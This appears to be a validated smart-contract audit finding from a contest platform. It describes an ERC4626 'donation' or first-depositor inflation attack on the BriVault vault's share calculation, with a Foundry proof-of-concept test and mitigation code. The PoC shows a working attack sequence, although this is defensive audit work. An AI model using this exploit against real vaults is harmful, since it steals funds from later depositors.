BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Share Calculation Manipulation via Direct Transfers

jufel

Description:

The _convertToShares() function calculates shares based on the vault's current balance using IERC20(asset()).balanceOf(address(this)). An attacker can manipulate this calculation by directly transferring tokens to the vault before other users deposit, causing subsequent depositors to receive fewer shares than they should.

This is a classic "first depositor" or "donation attack" on ERC4626 vaults. The attacker can:

  1. Deposit a minimal amount (e.g., 1 wei)

  2. Directly transfer a large amount to the vault

  3. This inflates the balanceOfVault while keeping totalShares low

  4. Subsequent depositors get proportionally fewer shares

Impact:

  • First depositor can steal significant portions of deposits from subsequent users

  • Users receive far fewer shares than their deposit should entitle them to

  • Loss of funds for legitimate users

  • The attack can be frontrun against any deposit transaction

Proof of Concept:

function testShareManipulationAttack() public {
// Attacker deposits 1 token
vm.startPrank(attacker);
asset.approve(address(vault), 1);
uint256 attackerShares = vault.deposit(1, attacker);
​
// Attacker directly transfers 10000 tokens to vault
asset.transfer(address(vault), 10000 * 10**18);
vm.stopPrank();
​
// Victim deposits 10000 tokens
vm.startPrank(victim);
asset.approve(address(vault), 11000 * 10**18);
uint256 victimShares = vault.deposit(11000 * 10**18, victim);
vm.stopPrank();
​
// After fees: attacker staked ~0.99 tokens, got attackerShares
// After fees: victim staked ~10890 tokens
// But due to donation, victim gets proportionally much fewer shares
​
console.log("Attacker shares:", attackerShares);
console.log("Victim shares:", victimShares);
​
// Victim should get ~10890x more shares but doesn't
assertTrue(victimShares < attackerShares * 10000, "Victim got manipulated share count");
}

Mitigation:

Implement the "virtual shares" approach recommended by OpenZeppelin:

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 totalShares = totalSupply() + 1; // Add virtual share
uint256 totalAssets = IERC20(asset()).balanceOf(address(this)) + 1; // Add virtual asset
​
shares = Math.mulDiv(assets, totalShares, totalAssets);
}

Or enforce a minimum first deposit:

function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ if (totalSupply() == 0) {
+ require(assets >= 1000 * 10**18, "First deposit must be >= 1000 tokens");
}
// ... rest of function
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!